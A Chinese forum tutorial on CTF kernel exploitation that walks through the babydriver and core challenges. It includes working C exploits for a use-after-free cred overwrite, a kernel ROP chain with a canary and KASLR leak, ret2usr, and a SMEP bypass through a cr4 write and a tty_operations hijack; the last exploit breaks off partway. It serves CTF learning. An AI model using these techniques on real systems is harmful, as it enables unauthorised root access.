Kernel PWN从入门到提升

本文为看雪论坛精华文章

看雪论坛作者ID：kotoriseed

介于本人在入门kernel pwn的时候觉得当前trick种类繁多，前置知识也多得吓人，有点不知所措，且有些大佬的博客经常对一些我个人认为比较重要的点一句话带过，导致缺乏经验的我在学习过程中屡屡碰壁。所以我决定用此文章结合一道不错的例题尽可能详细的来讲一下kernel pwn从入门过渡到较高难度的部分，供想要学习kernel pwn的小伙伴们参考。

在开始看这篇文章之前，我希望小伙伴们已经掌握了kernel pwn一些最基本的操作，例如装好kernel pwn所需要的的前置环境。这一部分内容的优秀教程并不少。

另外，如果在阅读的过程中发现任何问题，都欢迎来和我交流指正。

一

BASIC

environment

在学习kernel pwn之前，需要搭建好很多前置环境。

• qemu
• busybox
• 编译linux内核（可选）

至于具体的安装过程并不在本文的讨论范围内，如果还没完成，先自行百度解决。

文件系统

kernel题一般都会给出一个打包好的文件系统，因此需要掌握常用到的打包/解包命令。

find . | cpio -o --format=newc > ./rootfs.cpio
cpio -idmv < ./rootfs.cpio

（有时解包出来很奇怪，可能是原始cpio文件其实是以gz格式压缩后的，先gunzip解压一遍）

cred结构体

kernel使用cred结构体记录了进程的权限，如果能劫持或伪造cred结构体，就能改变当前进程的权限。

原型如下：

struct cred {
    atomic_t    usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC    0x43736564
#define CRED_MAGIC_DEAD    0x44656144
#endif
    kuid_t        uid;        /* real UID of the task */
    kgid_t        gid;        /* real GID of the task */
    kuid_t        suid;        /* saved UID of the task */
    kgid_t        sgid;        /* saved GID of the task */
    kuid_t        euid;        /* effective UID of the task */
    kgid_t        egid;        /* effective GID of the task */
    kuid_t        fsuid;        /* UID for VFS ops */
    kgid_t        fsgid;        /* GID for VFS ops */
    unsigned    securebits;    /* SUID-less security management */
    kernel_cap_t    cap_inheritable; /* caps our children can inherit */
    kernel_cap_t    cap_permitted;    /* caps we're permitted */
    kernel_cap_t    cap_effective;    /* caps we can actually use */
    kernel_cap_t    cap_bset;    /* capability bounding set */
    kernel_cap_t    cap_ambient;    /* Ambient capability set */
#ifdef CONFIG_KEYS
    unsigned char    jit_keyring;    /* default keyring to attach requested
                     * keys to */
    struct key __rcu *session_keyring; /* keyring inherited over fork */
    struct key    *process_keyring; /* keyring private to this process */
    struct key    *thread_keyring; /* keyring private to this thread */
    struct key    *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
    void        *security;    /* subjective LSM security */
#endif
    struct user_struct *user;    /* real user ID subscription */
    struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
    struct group_info *group_info;    /* supplementary groups for euid/fsgid */
    struct rcu_head    rcu;        /* RCU deletion hook */
} __randomize_layout;

一般而言，我们需要想办法将uid和gid设置为0（root的uid和gid均为0）

如果能劫持到程序流程，执行以下函数也可以达到相同效果：

commit_creds(prepare_kernel_cred(0));
commit_creds(init_cred);

内核态函数

运行在内核态的函数会和用户态有些许不同。

printf -> kprintf

memcpy -> copy_to_user / copy_from_user

内核的动态分配并不会采用用户态的glibc，他的堆分配器是SLAB或SLUB。常使用的函数如下：

malloc -> kmalloc

free -> kfree

为了安全考虑，内核态也只能运行内核态的函数（smep），想要运行system等函数，必须手动切换回用户态。

常用的指令是swapgs和iretq（或者swapgs_restore_regs_and_return_to_usermode函数，直接对CR3寄存器的第13位取反来完成切换页表的操作，该函数在KPTI开启的版本中依然有效，而swapgs往往会寄）

然后需要在栈上存一些上下文：

struct pt_regs {

/* ...................... */

/* Return frame for iretq */
    unsigned long ip;
    unsigned long cs;
    unsigned long flags;
    unsigned long sp;
    unsigned long ss;
/* top of stack page */
};

gdb远程调试

以babydriver这题为例，先使用脚本extract-vmlinux提取出带符号的源码。

./extract-vmlinux ./bzImage > ./vmlinux

(脚本源码: 

https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux)

(或者用这个https://github.com/marin-m/vmlinux-to-elf)

在qemu中找到babydriver.ko代码段的起始地址。

启动gdb过后导入符号表。

add-symbol-file ./lib/modules/4.4.72/babydriver.ko 0xffffffffc0000000

然后在boot.sh中添加以下参数：

(直接-s也行)

重新启动qemu过后，gdb远程连接。

pwndbg> target remote 127.0.0.1:1234

这里给出我常用的一些打包和调试的脚本。

pack.sh

#!/bin/zsh

gcc \
    ./exp.c \
    -o exp    \
    -masm=intel \
    --static  \
    -g

chmod 777 ./exp

find . | cpio -o --format=newc > ./rootfs.cpio
chmod 777 ./rootfs.cpio

gdbinit

file ./vmlinux
target remote 127.0.0.1:1234
c

远程脚本

为了减小远程exp的体积，使用musl进行静态编译（）

import sys
import os
from pwn import *
import string

context.log_level='debug'

sla = lambda x,y : p.sendlineafter(x,y)
sa =  lambda x,y : p.sendafter(x,y)
ru =  lambda x   : p.recvuntil(x)

p = remote('127.0.0.1', 1234)

def send_cmd(cmd):
    sla('$ ', cmd)

def upload():
    lg = log.progress('Upload')
    with open('exp', 'rb') as f:
        data = f.read()
    encoded = base64.b64encode(data)
    encoded = str(encoded)[2:-1]
    for i in range(0, len(encoded), 300):
        lg.status('%d / %d' % (i, len(encoded)))
        send_cmd('echo -n "%s" >> benc' % (encoded[i:i+300]))
    send_cmd('cat benc | base64 -d > bout')
    send_cmd('chmod +x bout')
    lg.success()

os.system('musl-gcc -w -s -static -o3 exp.c -o exp')
upload()

p.interactive()

二

ATTACK

Kernel UAF

babydriver

分析

这是ciscn2017年的一道经典kernel pwn入门题。

解压rootfs.cpio后，在/lib/modules/4.4.72中找到了LKM文件babydriver.ko。

checksec只开了nx，且没有去除符号表，很方便调试和分析。

直接丢ida分析。

int __fastcall babyrelease(inode *inode, file *filp)
{
  _fentry__(inode, filp);
  kfree(babydev_struct.device_buf);
  printk("device release\n");
  return 0;
}

在babyrelease中kfree()之后没有将babydev_struct.device_buf清空，从而导致了uaf漏洞。

而且babydev_struct是一个babydevice_t类型的公共变量，结构如下。

struct babydevice_t
{
    char *device_buf;
    size_t device_buf_len;
};

device_buf是存一个缓冲区的指针，device_buf_len存该缓冲区大小。

其他的函数都很常规，

babyopen在打开一个设备的时候简单设置了一下babydev_struct的值。

int __fastcall babyopen(inode *inode, file *filp)
{
  _fentry__(inode, filp);
  babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 0x40LL);
  babydev_struct.device_buf_len = 64LL;
  printk("device open\n");
  return 0;
}

babywrite和babyread都只检查了一下device_buf指针是否为空和是否越界, 然后对device_buf进行常规的读写。

ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
  size_t v4; // rdx
  ssize_t result; // rax
  ssize_t v6; // rbx

  _fentry__(filp, buffer);
  if ( !babydev_struct.device_buf )
    return -1LL;
  result = -2LL;
  if ( babydev_struct.device_buf_len > v4 )
  {
    v6 = v4;
    copy_from_user();
    result = v6;
  }
  return result;
}

ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
  size_t v4; // rdx
  ssize_t result; // rax
  ssize_t v6; // rbx

  _fentry__(filp, buffer);
  if ( !babydev_struct.device_buf )
    return -1LL;
  result = -2LL;
  if ( babydev_struct.device_buf_len > v4 )
  {
    v6 = v4;
    copy_to_user(buffer);
    result = v6;
  }
  return result;
}

babyioctl比较有意思，当第二个参数command为0x10001时，可以重新kmalloc一块指定大小的object到babydev_struct.device_buf，从而修改了babydev_struct的device_buf_len为一个新值。

__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
  size_t v3; // rdx
  size_t v4; // rbx
  __int64 result; // rax

  _fentry__(filp, command);
  v4 = v3;
  if ( command == 0x10001 )
  {
    kfree(babydev_struct.device_buf);
    babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL);
    babydev_struct.device_buf_len = v4;
    printk("alloc done\n");
    result = 0LL;
  }
  else
  {
    printk(&unk_2EB);
    result = -22LL;
  }
  return result;
}

至此，利用思路已经非常明显了。

由于babydev_struct只存在一个，且调用到babyrelease的时候有uaf漏洞，我们可以open两个设备，然后使用babyioctl将babydev_struct.device_buf_len改成cred结构体的大小之后free掉，造成第二个设备存在一个悬挂指针。

此时再fork()一个新线程，由于kernel的内存分配器采用的是SLUB，之前释放掉的那个和cred结构体相同大小的堆块会直接当成这个线程的cred被申请。（kmem_cache_cpu->freelist是后进先出的，类似于用户态glibc的fastbin，不过object并没有header。另，本题内核版本在4.4.72，cred结构体的分配此时还并没有被隔离到cred_jar中）

在这个进程中使用babywrite，便可将cred的gid和uid都设置为0。

写好exp过后，由于rootfs.cpio里并没有libc，所以编译的时候要使用静态编译。

gcc exp.c -o exp -static

然后重新打包文件系统，并修改boot.sh中-initrd参数为新打包好的文件系统。

此时再打开qemu，运行exp过后便可提权成功。

（由于本做法在高版本不可能适用，且实际意义不大，所以下文将采用一些更"有意思"的做法来提权）

exp

#include<unistd.h>
#include<stdio.h>
#include<stdlib.h>
#include<fcntl.h>
#include<sys/wait.h>
#include<sys/stat.h>
int main(){
    int fd1 = open("/dev/babydev", O_RDWR);
    int fd2 = open("/dev/babydev", O_RDWR);

    ioctl(fd1, 0x10001, 0xa8);

    close(fd1);
    int id = fork();
    if(id<0){
        printf("fork error!\n");
        exit(-1);
    }
    else if(id==0){
        char cred[0x20] = {0};
        write(fd2, cred, 0x1c);
        if(getuid()==0){
            system("/bin/sh");
            exit(0);
        }
    }
    else{
        wait(NULL);
    }
    return 0;
}

Kernel ROP

本质上和用户态的rop并无区别，只是目标从getshell变成了提权，并且rop结束部分需要引导程序流着陆回用户态。

core

分析

题目给出了bzImage, core.cpio, start.sh, vmlinux四个文件。

先将core.cpio解包，发现除了常规文件以外，还多了一个gen_cpio.sh。

内容如下：

find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > $1

这是一个快速打包用的批处理文件。

看看start.sh。

qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd  ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \

开启了kaslr保护，并且用-s为gdb开了端口，所以不需要再-gdb tcp::1234开了。

不过他设置的64M内存不是很够用，我最终设置到了256M才能启动。

然后分析init。

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

比较特殊的地方就是将/proc/sys/kernel/kptr_restrict和/proc/sys/kernel/dmesg_restrict的内容设为了1，如此一来，就无法通过dmesg和查看/proc/kallsyms来获取函数地址了。

好在他前面有一行：

cat /proc/kallsyms > /tmp/kallsyms

将kallsyms备份到了tmp文件夹下。

然后之后设置了poweroff -d 120 -f，这句比较影响之后的调试，可以直接删掉，或者把时间改长一点。

我最终修改过后的init文件如下：

mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
chown root:root /flag
chmod 400 /flag
cat /sys/module/core/sections/.text > /tmp/info

poweroff -d 1200000 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
# setsid /bin/cttyhack setuidgid 0 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

将core的.text节地址备份出来是为了方便后续gdb加载symbol文件。

而且这个/sys/module/core/sections/.text是只有root能读的，直接备份出来比较省事，当然也可以直接修改成root启动。

此外，为了方便后续打包和调试，我还写了两个批处理文件。

root@ubuntu:/home/kotori/Desktop/core# cat pack.sh
rm ./core.cpio
./gen_cpio.sh ./core.cpio
chmod 777 ./core.cpio
root@ubuntu:/home/kotori/Desktop/core# cat mkc.sh
gcc ./exp.c -o exp --static -masm=intel
chmod 777 ./exp
sudo ./pack.sh

接下来就是分析core.ko的漏洞了。

checksec发现开启了canary和nx。

init_module()和exit_core()分别注册和注销了/proc/core，core_release()什么都没做，这里对它们不作分析。

core_ioctl中定义了三种操作，分别是调用core_read()，设置全局变量off，调用core_copy_func()。

__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
  switch ( a2 )
  {
    case 0x6677889B:
      core_read(a3);
      break;
    case 0x6677889C:
      printk(&unk_2CD);
      off = a3;
      break;
    case 0x6677889A:
      printk(&unk_2B3);
      core_copy_func(a3);
      break;
  }
  return 0LL;
}

core_read可以将距离rsp偏移为off的值往后拷贝0x40个字节给指定缓冲区。

unsigned __int64 __fastcall core_read(__int64 a1)
{
  char *v2; // rdi
  __int64 i; // rcx
  unsigned __int64 result; // rax
  char v5[64]; // [rsp+0h] [rbp-50h] BYREF
  unsigned __int64 v6; // [rsp+40h] [rbp-10h]

  v6 = __readgsqword(0x28u);
  printk(&unk_25B);
  printk(&unk_275);
  v2 = v5;
  for ( i = 16LL; i; --i )
  {
    *(_DWORD *)v2 = 0;
    v2 += 4;
  }
  strcpy(v5, "Welcome to the QWB CTF challenge.\n");
  result = copy_to_user(a1, &v5[off], 64LL);
  if ( !result )
    return __readgsqword(0x28u) ^ v6;
  __asm { swapgs }
  return result;
}

这里利用off是可以读出canary的。

core_write是将至多0x800个字节从指定缓冲区复制到name中去。

__int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  printk(&unk_215);
  if ( a3 <= 0x800 && !copy_from_user(&name, a2, a3) )
    return (unsigned int)a3;
  printk(&unk_230);
  return 0xFFFFFFF2LL;
}

这个core_copy_func则是本题最大的漏洞点。

__int64 __fastcall core_copy_func(__int64 a1)
{
  __int64 result; // rax
  _QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF

  v2[8] = __readgsqword(0x28u);
  printk(&unk_215);
  if ( a1 > 63 )
  {
    printk(&unk_2A1);
    result = 0xFFFFFFFFLL;
  }
  else
  {
    result = 0LL;
    qmemcpy(v2, &name, (unsigned __int16)a1);
  }
  return result;
}

当长度参数a1小于等于63时，便可将name中对应字节数的数据复制到栈上变量v2中去，且a1和63作比较时是有符号数，最后调用qmemcpy时转成了unsigned __int16。所以只需要将a1最低两个字节的数据随便设置成一个能装下name的长度，然后其余字节都是0xff就行了。我这里最后构造的a1是0xffffffffffff0100。

所以整个攻击流程如下：

① 设置好off去读出canary的值。

② 布置好rop之后调用core_write将rop写入name中。

③ 调用core_copy_func，将name的内容写入栈上变量v2中，造成栈溢出，调用commit_creds(prepare_kernel_cred(0))提权。

当然，在写rop之前，还有一个小小的问题需要解决。那就是解决kaslr和pie带来的偏移问题。

原始无pie的vmlinux基址是0xffffffff81000000

commit_creds的地址是0xffffffff81000000+0x9c8e0

prepare_kernel_creds的地址是0xffffffff8109cce0

包括后续找到的gadgets的地址，这些全是no-pie情况下的地址，我们还需要知道真正运行起来的时候与之的偏移。

这个其实就可以直接在/tmp/kallsyms中，利用他给出的commit_creds或prepare_kernel_cred此时的地址来计算出来。

size_t leak_vmlinux_base(){
    FILE* fd = fopen("/tmp/kallsyms", "r");
    if(fd==NULL){
        puts("[-] open file failed.");
        exit(-1);
    }
    char buf[0x40] = {0};
    while(fgets(buf, 0x30, fd)!=NULL){
        if(strstr(buf, "commit_creds")){
            char ptr[0x18] = {0};
            strncpy(ptr, buf, 0x10);
            sscanf(ptr, "%lx", &commit_creds);
            printf("[+] commit_creds: 0x%lx\n", commit_creds);
            prepare_kernel_cred = commit_creds-0x9c8e0+0x9cce0;
            fclose(fd);
            return commit_creds-0x9c8e0;
        }
        else if(strstr(buf, "prepare_kernel_cred")){
            char ptr[0x18] = {0};
            strncpy(ptr, buf, 0x10);
            sscanf(ptr, "%lx", &prepare_kernel_cred);
            printf("[+] prepare_kernel_cred: 0x%lx\n", prepare_kernel_cred);
            commit_creds = prepare_kernel_cred-0x9cce0+0x9c8e0;
            fclose(fd);
            return prepare_kernel_cred-0x9cce0;
        }
    }
    fclose(fd);
    return 0;
}

gadgets的预处理可以用ropper解决（ROPgadget太慢了）。

ropper --file ./vmlinux --nocolor > g

至于rop的构思的话就非常简单了，先摆好rdi为0，然后调用prepare_kernel_cred，此时返回值会在rax中，如果有mov rdi, rax; ret的话将绝杀，可惜没有。

不过好在有类似的好几个，我选择了mov rdi, rax; jmp rcx;

如果在这之前将rcx摆好commit_creds就很方便了。

然后切换回用户态，iretq; ret是有的，swapgs就只有swapgs; popfq; ret;，所以后面要跟一个垃圾数据平衡一下栈。

最后按照rip, cs, rflags, rsp, ss的顺序摆好之前用户态的寄存器就好了。

exp

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>
#include<fcntl.h>
#include<sys/stat.h>
#include<sys/types.h>
#include<sys/ioctl.h>
size_t u_cs, u_rflags, u_rsp, u_ss;
size_t commit_creds, prepare_kernel_cred;
void save_status(){
    __asm__("mov u_cs, cs;"
        "pushf;"
        "pop u_rflags;"
        "mov u_rsp, rsp;"
        "mov u_ss, ss;"
    );
}
void set_off(int fd, int offset){
    ioctl(fd, 0x6677889c, offset);
}
size_t leak_canary(int fd){
    size_t temp[0x10] = {0};
    set_off(fd, 0x40);
    ioctl(fd, 0x6677889b, temp);
    return temp[0];
}
size_t leak_vmlinux_base(){
    FILE* fd = fopen("/tmp/kallsyms", "r");
    if(fd==NULL){
        puts("[-] open file failed.");
        exit(-1);
    }
    char buf[0x40] = {0};
    while(fgets(buf, 0x30, fd)!=NULL){
        if(strstr(buf, "commit_creds")){
            char ptr[0x18] = {0};
            strncpy(ptr, buf, 0x10);
            sscanf(ptr, "%lx", &commit_creds);
            printf("[+] commit_creds: 0x%lx\n", commit_creds);
            prepare_kernel_cred = commit_creds-0x9c8e0+0x9cce0;
            fclose(fd);
            return commit_creds-0x9c8e0;
        }
        else if(strstr(buf, "prepare_kernel_cred")){
            char ptr[0x18] = {0};
            strncpy(ptr, buf, 0x10);
            sscanf(ptr, "%lx", &prepare_kernel_cred);
            printf("[+] prepare_kernel_cred: 0x%lx\n", prepare_kernel_cred);
            commit_creds = prepare_kernel_cred-0x9cce0+0x9c8e0;
            fclose(fd);
            return prepare_kernel_cred-0x9cce0;
        }
    }
    fclose(fd);
    return 0;
}
void get_root_shell(){
        if(getuid()==0)
            system("/bin/sh");
        else{
            puts("[-] get root shell failed.");
            exit(-1);
        }
}
void rop(int fd, size_t canary, size_t offset){
    size_t name[0x100] = {0};
    //----gadgets----
    size_t pop_rdi = 0xffffffff81000b2f; // pop rdi; ret;
    size_t mov_rdi_rax_jmp_rcx = 0xffffffff811ae978; // mov rdi, rax; jmp rcx;
    size_t pop_rcx = 0xffffffff81021e53; // pop rcx; ret;
    size_t swapgs_popfq =  0xffffffff81a012da; // swapgs; popfq; ret;
    size_t iretq  =  0xffffffff81050ac2; // iretq; ret;
    int idx = 0;
    for(idx=0;idx<10;idx++)
        name[idx] = canary;
    name[idx++] = pop_rdi + offset;
    name[idx++] = 0;
    name[idx++] = prepare_kernel_cred;
    name[idx++] = pop_rcx + offset;
    name[idx++] = commit_creds;
    name[idx++] = mov_rdi_rax_jmp_rcx + offset;
    name[idx++] = swapgs_popfq + offset;
    name[idx++] = 0;
    name[idx++] = iretq + offset;
    name[idx++] = (size_t)get_root_shell; //rip
    name[idx++] = u_cs;
    name[idx++] = u_rflags;
    name[idx++] = u_rsp;
    name[idx++] = u_ss;
    write(fd, name, 0x800);
    puts("[+] rop loaded.");
    ioctl(fd, 0x6677889a, (0xffffffffffff0100));
}
int main(){
    save_status();
    int fd = open("/proc/core", O_RDWR);
    size_t canary = leak_canary(fd);
    printf("[+] canary: 0x%lx\n", canary);
    size_t vmlinux_base = leak_vmlinux_base();
    if(!vmlinux_base){
        printf("[-] leak base failed.\n");
        exit(-1);
    }
    size_t vmlinux_base_no_pie = 0xffffffff81000000;
    size_t offset = vmlinux_base - vmlinux_base_no_pie;
    printf("[+] offset: 0x%lx\n", offset);
    rop(fd, canary, offset);
    return 0;
}

SMEP & ret2usr

再看core

之前使用kernel rop的方法打下来了core这道题。但其实，默认情况下，虽然内核态的函数在用户空间下是无法运行的，但用户态的函数在内核空间却可以运行，因此我们可以在用户空间构造好commit_creds(prepare_kernel_cred(0))，然后在内核空间以ring 0权限来运行它。

利用这一点，可以对core的exp作出局部调整：

加入get_root函数

void get_root(){ void* (*cc)(char *) = commit_creds; char* (*pkc)(int) = prepare_kernel_cred; (*cc)((*pkc)(0)); // commit_creds(prepare_kernel_cred(0));}

修改rop

for(idx=0;idx<10;idx++)
    name[idx] = canary;
/*
name[idx++] = pop_rdi + offset;
name[idx++] = 0;
name[idx++] = prepare_kernel_cred;
name[idx++] = pop_rcx + offset;
name[idx++] = commit_creds;
name[idx++] = mov_rdi_rax_jmp_rcx + offset;
*/
name[idx++] = (size_t)get_root;
name[idx++] = swapgs_popfq + offset;
name[idx++] = 0;
name[idx++] = iretq + offset;
name[idx++] = (size_t)get_root_shell; //rip
name[idx++] = u_cs;
name[idx++] = u_rflags;
name[idx++] = u_rsp;
name[idx++] = u_ss;

仍然可以成功提权。

(不过此方法在不久之后出现KPTI页表隔离保护之后就完全没法利用了)

SMEP & SMAP

Introduction

smep保护使得内核态也不能执行内核空间的代码了，因此直接ret2usr会失败。

（与之相近的保护机制是smap，他能让内核空间无法直接访问用户空间的数据）

不过是否开启smep保护是记录在cr4寄存器上的。

cr4寄存器的第20位为1时SMEP就视为开启，为0则视为关闭。

Bypass

既然知道了判断是否开启smep的机制，那么bypass思路也很清晰了。只需要利用某些gadgets来修改cr4寄存器的值即可。（通常改成0x6f0，同时关闭smep和smap。不过控制cr4的gadgets在高版本无了）

REsolve: babydriver (hijack tty_operation + ret2usr)

分析

这里用ret2usr的方法再解决一遍babydriver这道题。

查看boot.sh，发现开启了smep。

qemu-system-x86_64 \
    -initrd rootfs.cpio \
    -kernel bzImage \
    -append 'console=ttyS0 root=/dev/ram nopti oops=panic panic=1' \
    -enable-kvm -monitor /dev/null -m 256M --nographic  -smp cores=1,threads=1 -cpu kvm64,+smep

所以我们需要用rop来关闭smep，然后再ret2usr提权。

可是这道题的洞是uaf，如何达成rop的目的呢？这里就需要用到tty_struct和tty_operation这两个结构体了。

他们的原型分别如下：

struct tty_struct {
    int magic;
    struct kref kref;
    struct device *dev;
    struct tty_driver *driver;
    const struct tty_operations *ops;
    int index;
    /* Protects ldisc changes: Lock tty not pty */
    struct ld_semaphore ldisc_sem;
    struct tty_ldisc *ldisc;
    struct mutex atomic_write_lock;
    struct mutex legacy_mutex;
    struct mutex throttle_mutex;
    struct rw_semaphore termios_rwsem;
    struct mutex winsize_mutex;
    spinlock_t ctrl_lock;
    spinlock_t flow_lock;
    /* Termios values are protected by the termios rwsem */
    struct ktermios termios, termios_locked;
    struct termiox *termiox;    /* May be NULL for unsupported */
    char name[64];
    struct pid *pgrp;       /* Protected by ctrl lock */
    struct pid *session;
    unsigned long flags;
    int count;
    struct winsize winsize;     /* winsize_mutex */
    unsigned long stopped:1,    /* flow_lock */
              flow_stopped:1,
              unused:BITS_PER_LONG - 2;
    int hw_stopped;
    unsigned long ctrl_status:8,    /* ctrl_lock */
              packet:1,
              unused_ctrl:BITS_PER_LONG - 9;
    unsigned int receive_room;  /* Bytes free for queue */
    int flow_change;
    struct tty_struct *link;
    struct fasync_struct *fasync;
    wait_queue_head_t write_wait;
    wait_queue_head_t read_wait;
    struct work_struct hangup_work;
    void *disc_data;
    void *driver_data;
    spinlock_t files_lock;      /* protects tty_files list */
    struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
    int closing;
    unsigned char *write_buf;
    int write_cnt;
    /* If the tty has a pending do_SAK, queue it here - akpm */
    struct work_struct SAK_work;
    struct tty_port *port;
} __randomize_layout;

struct tty_operations {
    struct tty_struct * (*lookup)(struct tty_driver *driver,
            struct file *filp, int idx);
    int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
    void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
    int  (*open)(struct tty_struct * tty, struct file * filp);
    void (*close)(struct tty_struct * tty, struct file * filp);
    void (*shutdown)(struct tty_struct *tty);
    void (*cleanup)(struct tty_struct *tty);
    int  (*write)(struct tty_struct * tty,
              const unsigned char *buf, int count);
    int  (*put_char)(struct tty_struct *tty, unsigned char ch);
    void (*flush_chars)(struct tty_struct *tty);
    int  (*write_room)(struct tty_struct *tty);
    int  (*chars_in_buffer)(struct tty_struct *tty);
    int  (*ioctl)(struct tty_struct *tty,
            unsigned int cmd, unsigned long arg);
    long (*compat_ioctl)(struct tty_struct *tty,
                 unsigned int cmd, unsigned long arg);
    void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
    void (*throttle)(struct tty_struct * tty);
    void (*unthrottle)(struct tty_struct * tty);
    void (*stop)(struct tty_struct *tty);
    void (*start)(struct tty_struct *tty);
    void (*hangup)(struct tty_struct *tty);
    int (*break_ctl)(struct tty_struct *tty, int state);
    void (*flush_buffer)(struct tty_struct *tty);
    void (*set_ldisc)(struct tty_struct *tty);
    void (*wait_until_sent)(struct tty_struct *tty, int timeout);
    void (*send_xchar)(struct tty_struct *tty, char ch);
    int (*tiocmget)(struct tty_struct *tty);
    int (*tiocmset)(struct tty_struct *tty,
            unsigned int set, unsigned int clear);
    int (*resize)(struct tty_struct *tty, struct winsize *ws);
    int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
    int (*get_icount)(struct tty_struct *tty,
                struct serial_icounter_struct *icount);
    void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
    int (*poll_init)(struct tty_driver *driver, int line, char *options);
    int (*poll_get_char)(struct tty_driver *driver, int line);
    void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
    int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;

在tty_struct中有const struct tty_operations *ops;

因此如果可以伪造出一个tty_struct，使它的*ops指向一个伪造出来的tty_operation，即可利用write和ioctl这些函数来劫持程序执行流程。

由于不熟悉结构体，我这里是先把tty_operation的内容布置成了比较有规律的样子，然后利用报错计算偏移。

size_t fake_tty_operation[0x20] = {
                0xffffffff00000000,
                0xffffffff00000001,
                0xffffffff00000002,
                0xffffffff00000003,
                0xffffffff00000004,
                0xffffffff00000005,
                0xffffffff00000006,
                0xffffffff00000007,
                0xffffffff00000008,
                0xffffffff00000009,
                0xffffffff0000000a,
                0xffffffff0000000b,
                0xffffffff0000000c
};

一闪而过的报错中，可以看出来babywrite是被劫持到了tty_operation[7]这个位置，所以直接从这里开始劫持控制流。（后面发现，只要在启动脚本中加一句-no-reboot就不用担心看不见报错了，泪目）

想要完成内核rop，此时肯定需要控制一下rsp的位置，有一个比较好用的gadget：

0xffffffff8181bfc5: mov rsp, rax; dec ebx; jmp 0xffffffff8181bf7e;
0xffffffff8181bf7e: ret;

经过调试，发现此时rax的值刚好是这个tty_operation结构体的首地址。

所以此时有两个思路：

① 复用一次0xffffffff8181bfc5这里的gadget，把rsp劫持到用户态的rop那里去。

② 直接在tty_operation里rop，但是要注意一下绕过tty_operation[7]。

不管用哪个，最终都能成功劫持程序流完成ret2usr。（由于一些原因，我还是选择了第二种方式）

不过有一个问题，使用这题原生的内核版本4.4.72会出现PANIC: double fault, error_code: 0x0这样的报错，<del>所以需要换内核版本运行，这里就不过多讨论了。</del>

查了一些资料过后，发现很可能是PTI保护机制的问题，在尝试关闭PTI无果之后，发现其实可以通过对特定signal的处理来继续完成利用，比如说PTI机制这里会抛出的11号信号，给他处理成get_root_shell这个函数就行了，因为在这之前已经完成了bypass smep和prepare_kernel_cred(commit_creds(0))的操作。

（本来想用swapgs_restore_regs_and_return_to_usermode的，不过这个题内核版本太老了，貌似还并没有引进这个函数）

exp

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>
#include<fcntl.h>
#include<sys/stat.h>
#include<sys/types.h>
#include<sys/ioctl.h>

size_t usr_cs, usr_rflags, usr_rsp, usr_ss;
void save_status(){
    __asm__("mov usr_cs, cs;"
        "pushf;"
        "pop usr_rflags;"
        "mov usr_rsp, rsp;"
        "mov usr_ss, ss;"
    );
}
void get_root(){
    char* (*pkc)(int) = 0xffffffff810a1810; // prepare_kernel_cred;
    void* (*cc)(char*) = 0xffffffff810a1420; // commit_creds;
    (*cc)((*pkc)(0));
}
void get_root_shell(){
    if(getuid()!=0){
        puts("[-] get root failed.");
        exit(-1);
    }
    system("/bin/sh");
}
int main(){
    save_status();
    signal(11, (size_t)get_root_shell);

    int fd1 = open("/dev/babydev", O_RDWR);
    int fd2 = open("/dev/babydev", O_RDWR);
    ioctl(fd1, 0x10001, 0x2e0);
    close(fd1);  // uaf
    size_t rop[0x30] = {0};
    int i = 0;
    rop[i++] = 0xffffffff810d238d; // pop rdi; ret;
    rop[i++] = 0x6f0; // bypass smep
    rop[i++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;
